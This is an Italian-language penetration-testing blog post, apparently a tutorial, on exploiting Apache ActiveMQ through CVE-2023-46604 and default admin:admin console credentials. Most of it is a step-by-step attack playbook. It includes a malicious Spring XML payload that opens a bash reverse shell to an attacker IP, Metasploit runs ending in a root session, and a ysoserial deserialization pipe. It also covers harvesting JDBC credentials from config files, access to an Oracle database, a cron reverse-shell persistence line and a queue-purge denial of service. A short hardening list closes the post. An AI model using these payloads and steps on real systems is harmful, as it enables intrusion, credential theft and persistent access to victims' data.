Porta 61616 ActiveMQ: CVE-2023-46604 RCE Pre-Auth e Credenziali admin:admin

ActiveMQ non patchato sulla 61616? CVE-2023-46604 dà shell root in 8 secondi via OpenWire. Web console con admin:admin, messaggi con credenziali JDBC e lateral movement verso Oracle.
- Pubblicato il 2026-04-21
- Tempo di lettura: 6 min
Apache ActiveMQ è il message broker open source più longevo dell’ecosistema Java: gestisce code di messaggi tra applicazioni enterprise, microservizi, sistemi di integrazione. La porta 61616 TCP è il protocollo OpenWire (il canale nativo per i messaggi), mentre la 8161 è la web console di management. Nel penetration testing, ActiveMQ è diventato uno dei target più ricercati dopo la pubblicazione della CVE-2023-46604 — una vulnerabilità di deserializzazione Java con CVSS 10.0 che permette RCE pre-auth. Un singolo pacchetto sulla porta 61616, senza credenziali, senza interazione utente, e hai una shell. È stata sfruttata attivamente in-the-wild da ransomware (HelloKitty, TellYouThePass) nel giro di giorni dalla disclosure.
Ma ActiveMQ non è solo la CVE del 2023: ha una lunga storia di deserializzazione Java, una web console con credenziali di default admin:admin e un’architettura che permette di leggere e manipolare i messaggi in transito — dati di business, credenziali di servizio, comandi di sistema.
Un caso recente: assessment per una compagnia assicurativa. ActiveMQ 5.15 sulla rete interna, web console con admin:admin, porta 61616 aperta. Ho lanciato l’exploit per la CVE-2023-46604 e avevo una shell in 8 secondi. Il broker gestiva i messaggi tra il sistema di quotazione polizze e il gateway di pagamento — ogni messaggio conteneva dati personali del cliente, importo e IBAN. Nessuno aveva applicato la patch nei 4 mesi dalla disclosure.
Cos’è ActiveMQ — Il Broker dei Messaggi Enterprise #
ActiveMQ implementa il protocollo JMS (Java Message Service): le applicazioni pubblicano messaggi su queue (punto-a-punto) o topic (publish-subscribe), e i consumer li ricevono. È il predecessore storico di RabbitMQ e Kafka, molto diffuso in ambienti Java enterprise — banche, assicurazioni, governi, telco.
Producer (app Java) ActiveMQ Broker Consumer (app Java)
┌──────────────┐ ┌────────────────────────┐ ┌──────────────┐
│ JMS send() │─:61616─►│ OpenWire protocol │ │ JMS recv() │
│ │ │ ├── Queue: payments ─┼──►──│ │
│ │ │ ├── Queue: orders ─┼──►──│ │
│ │ │ └── Topic: events ─┼──►──│ │
│ │ │ │ │ │
│ Browser │─:8161──►│ Web Console (Jetty) │ │ │
│ admin:admin │ │ REST API + management │ │ │
└──────────────┘ └────────────────────────┘ └──────────────┘| Porta | Protocollo | Funzione |
|---|---|---|
| 61616 | OpenWire | Protocollo nativo messaggi (target CVE-2023-46604) |
| 8161 | HTTP | Web console management |
| 5672 | AMQP | Protocollo AMQP (compatibilità RabbitMQ) |
| 61613 | STOMP | Simple Text Oriented Messaging Protocol |
| 1883 | MQTT | IoT messaging |
1. Enumerazione #
Nmap #
nmap -sV -p 61616,8161,5672,61613,1883 10.10.10.40PORT STATE SERVICE VERSION
8161/tcp open http Jetty 9.4.39.v20210325
61616/tcp open activemq Apache ActiveMQ OpenWire transportVersione esatta #
# Dalla web console
curl -s http://10.10.10.40:8161/ | grep -i "version\|activemq"
# Con credenziali default
curl -s -u admin:admin http://10.10.10.40:8161/admin/ | grep -i version<title>Apache ActiveMQ 5.15.15</title>5.15.15 → vulnerabile a CVE-2023-46604 (tutte le versioni < 5.15.16 e < 5.18.3).
Banner grab sulla 61616 #
echo "" | nc -w 3 10.10.10.40 61616Risponde con un header binario OpenWire che contiene la versione.
2. CVE-2023-46604 — RCE Pre-Auth CVSS 10.0 #
La vulnerabilità più critica di ActiveMQ — e una delle più critiche del 2023. Una falla nella deserializzazione del tipo ExceptionResponse nel protocollo OpenWire permette a un attaccante di caricare e istanziare una classe Java arbitraria da un URL remoto. Nessuna autenticazione richiesta, nessuna interazione utente, esecuzione come utente ActiveMQ (spesso root). https://www.huntress.com/threat-library/vulnerabilities/cve-2023-46604
Versioni vulnerabili #
| Branch | Vulnerabile | Fix |
|---|---|---|
| 5.15.x | < 5.15.16 | 5.15.16 |
| 5.16.x | < 5.16.7 | 5.16.7 |
| 5.17.x | < 5.17.6 | 5.17.6 |
| 5.18.x | < 5.18.3 | 5.18.3 |
Exploit manuale #
# 1. Crea il ClassPathXmlApplicationContext malevolo
cat > poc.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.10.200/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
EOF
# 2. Hosta il file
python3 -m http.server 8888
# 3. Lancia l'exploit (PoC Python disponibile su GitHub)
python3 exploit.py -i 10.10.10.40 -p 61616 -u http://10.10.10.200:8888/poc.xml# Listener
nc -lvnp 4444
# → shell come utente activemq (o root)Metasploit #
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 10.10.10.40
set RPORT 61616
set LHOST 10.10.10.200
set SRVHOST 10.10.10.200
run[*] Started reverse TCP handler on 10.10.10.200:4444
[*] Serving XML at http://10.10.10.200:8888/poc.xml
[*] Sending exploit packet to 10.10.10.40:61616
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: rootNuclei #
nuclei -u 10.10.10.40:61616 -tags activemq3. Web Console — Default Credentials #
La web console sulla porta 8161 usa Jetty e ha credenziali di default:
| Username | Password | File config |
|---|---|---|
admin | admin | conf/jetty-realm.properties |
user | user | conf/jetty-realm.properties |
curl -s -u admin:admin http://10.10.10.40:8161/admin/Se risponde con la dashboard → accesso completo alla management console.
Cosa puoi fare dalla web console #
Leggere messaggi dalle queue:
# Lista queue
curl -s -u admin:admin http://10.10.10.40:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=*/QueueSize
# Browsare messaggi (non li rimuove dalla coda)
curl -s -u admin:admin "http://10.10.10.40:8161/admin/browse.jsp?JMSDestination=payments"Inviare messaggi:
curl -s -u admin:admin -X POST "http://10.10.10.40:8161/admin/sendMessage.jsp" \
-d "JMSDestination=payments&JMSText=PAYLOAD&JMSTimeToLive=0"Purge queue (DoS applicativo):
curl -s -u admin:admin -X POST "http://10.10.10.40:8161/admin/purgeDestination.jsp?JMSDestination=payments&secret=SECRET_TOKEN"4. Deserializzazione Java — Storica #
Prima della CVE-2023-46604, ActiveMQ aveva già problemi di deserializzazione:
# CVE-2015-5254 — Deserialization via OpenWire
use exploit/multi/misc/java_jmx_server
# Target ActiveMQ JMX
# ysoserial via OpenWire
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" | nc 10.10.10.40 616165. Micro Playbook Reale #
Minuto 0-2 → Fingerprint
nmap -sV -p 61616,8161 TARGET
curl -s -u admin:admin http://TARGET:8161/admin/ | grep -i versionSe versione < 5.15.16 / 5.18.3 → CVE-2023-46604 è il path diretto.
Minuto 2-5 → CVE-2023-46604 (se vulnerabile)
# MSF
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS TARGET; set RPORT 61616; set LHOST ATTACKER; run8 secondi → shell. Finito.
Minuto 5-10 → Web console (se CVE non applicabile)
curl -s -u admin:admin http://TARGET:8161/admin/
# Se funziona → leggi messaggi, cerca credenziali nelle queueMinuto 10+ → Post-exploitation
# Config con credenziali
cat /opt/activemq/conf/activemq.xml | grep -iE "password|credential|jdbc"
cat /opt/activemq/conf/jetty-realm.properties6. Caso Studio Concreto #
Settore: Compagnia assicurativa, 400 dipendenti, nord Italia.
Scope: Pentest interno, postazione utente standard.
Scansione Nmap sulla rete → porta 61616 e 8161 aperte su 10.10.10.50. Banner: ActiveMQ 5.15.15. Ho testato admin:admin sulla web console — funzionava. Ma la vera svolta è stata la CVE-2023-46604: exploit Metasploit, shell root in 8 secondi.
Il broker gestiva 4 queue attive: policy.quotes (preventivi polizze con dati anagrafici), payment.process (IBAN + importi), claims.new (denunce sinistri con dati sensibili) e system.commands (comandi interni tra microservizi). Nella queue system.commands ho trovato messaggi con connection string JDBC contenenti credenziali del database Oracle di produzione.
Tempo dalla scansione alla shell root: 8 secondi con CVE-2023-46604, 2 minuti con web console. Root cause: Patch non applicata nei 4 mesi dalla disclosure, credenziali web console di default.
7. Errori Comuni Reali Trovati nei Pentest #
1. CVE-2023-46604 non patchata (altissima frequenza nel 2024-2025) La CVE più sfruttata del 2023 in ambiente enterprise Java. Molte aziende non sapevano nemmeno di avere ActiveMQ in produzione — era un componente embedded in un sistema più grande.
2. Credenziali web console admin:admin (80%+)
Il file jetty-realm.properties non viene quasi mai modificato. Le credenziali di default funzionano nella stragrande maggioranza dei casi.
3. Porta 61616 raggiungibile da tutta la rete ActiveMQ dovrebbe essere raggiungibile solo dai producer e consumer autorizzati. Invece lo trovo aperto a tutta la rete interna — e a volte esposto su Internet.
4. Messaggi con credenziali in chiaro Connection string JDBC, API key, token — i messaggi tra microservizi contengono credenziali in chiaro perché “è comunicazione interna”.
5. ActiveMQ eseguito come root Invece di un utente dedicato con permessi minimi, ActiveMQ gira come root “per evitare problemi di permessi”. La CVE-2023-46604 dà shell root immediata.
6. Nessun monitoraggio dei messaggi Nessun audit su chi legge i messaggi, nessun alert su consumer anomali. Un attaccante può leggere tutte le queue senza essere rilevato.
8. Mini Chain Offensiva Reale #
ActiveMQ :61616 → CVE-2023-46604 RCE → Shell Root → Config Files → JDBC Credentials → Oracle DB → Data ExfilStep 1 — Exploit CVE-2023-46604
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 10.10.10.50; set LHOST 10.10.10.200; run
# → shell rootStep 2 — Credenziali dal config
cat /opt/activemq/conf/activemq.xml | grep -A5 "dataSource\|jdbc"
# → jdbc:oracle:thin:APP_USER/AppPr0d2023!@oracle-db:1521/PRODStep 3 — Accesso Oracle
sqlplus APP_USER/AppPr0d2023!@10.10.10.60:1521/PROD
# → SELECT * FROM customers WHERE rownum < 100;Step 4 — Persistenza
# Cron reverse shell
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.200/5555 0>&1'" | crontab -Da un broker non patchato → database Oracle di produzione → dati clienti.
9. Detection & Hardening #
- Patch — aggiorna immediatamente a 5.15.16+ / 5.18.3+ per CVE-2023-46604
- Cambia
admin:admin— modificaconf/jetty-realm.properties - Non eseguire come root — crea utente
activemqdedicato - Firewall — 61616 e 8161 raggiungibili solo da producer/consumer autorizzati
- Disabilita la web console se non necessaria — rimuovi il connector HTTP in
activemq.xml - TLS su OpenWire — cifra il traffico dei messaggi
- Autenticazione su OpenWire — abilita il plugin
jaasAuthenticationPlugin - Monitora consumer anomali e accessi alla web console
10. Mini FAQ #
La CVE-2023-46604 è davvero così grave? Sì — CVSS 10.0, pre-auth, wormable. Un singolo pacchetto TCP sulla 61616 e hai una shell. È stata usata attivamente da ransomware (HelloKitty, TellYouThePass) nel giro di giorni dalla disclosure. Se hai ActiveMQ non patchato, è game over.
Come trovo ActiveMQ se non è sulla porta standard?
nmap -sV --allports target — il banner OpenWire è riconoscibile. Oppure cerca nei config applicativi: activemq.broker-url, tcp://hostname:PORT nei file .properties o .yml.
ActiveMQ e RabbitMQ sono la stessa cosa? Simili ma diversi: entrambi sono message broker, ma ActiveMQ è Java/JMS-nativo (più diffuso in ambiente enterprise Java), RabbitMQ è Erlang/AMQP-nativo (più diffuso in ambiente moderno/cloud). I vettori di attacco sono diversi — ActiveMQ soffre di deserializzazione Java, RabbitMQ ha l’Erlang cookie.
11. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 61616,8161 target |
| Web console | curl -u admin:admin http://target:8161/admin/ |
| Versione | curl -u admin:admin http://target:8161/admin/ | grep version |
| CVE-2023-46604 | use exploit/multi/misc/apache_activemq_rce_cve_2023_46604 |
| Nuclei | nuclei -u target:61616 -tags activemq |
| Browse queue | curl -u admin:admin "http://target:8161/admin/browse.jsp?JMSDestination=QUEUE" |
| Send msg | curl -u admin:admin -X POST "http://target:8161/admin/sendMessage.jsp" -d "..." |
| Config | cat /opt/activemq/conf/activemq.xml |
| Credentials | cat /opt/activemq/conf/jetty-realm.properties |
| Searchsploit | searchsploit activemq |
Riferimento: CVE-2023-46604, Apache ActiveMQ Security, Rapid7, HackTricks. Uso esclusivo in ambienti autorizzati.
ActiveMQ non patchato è una shell root che aspetta di essere presa. Penetration test HackIta per verificare i tuoi broker. Per padroneggiare l’exploitation dei servizi Java enterprise: formazione 1:1.







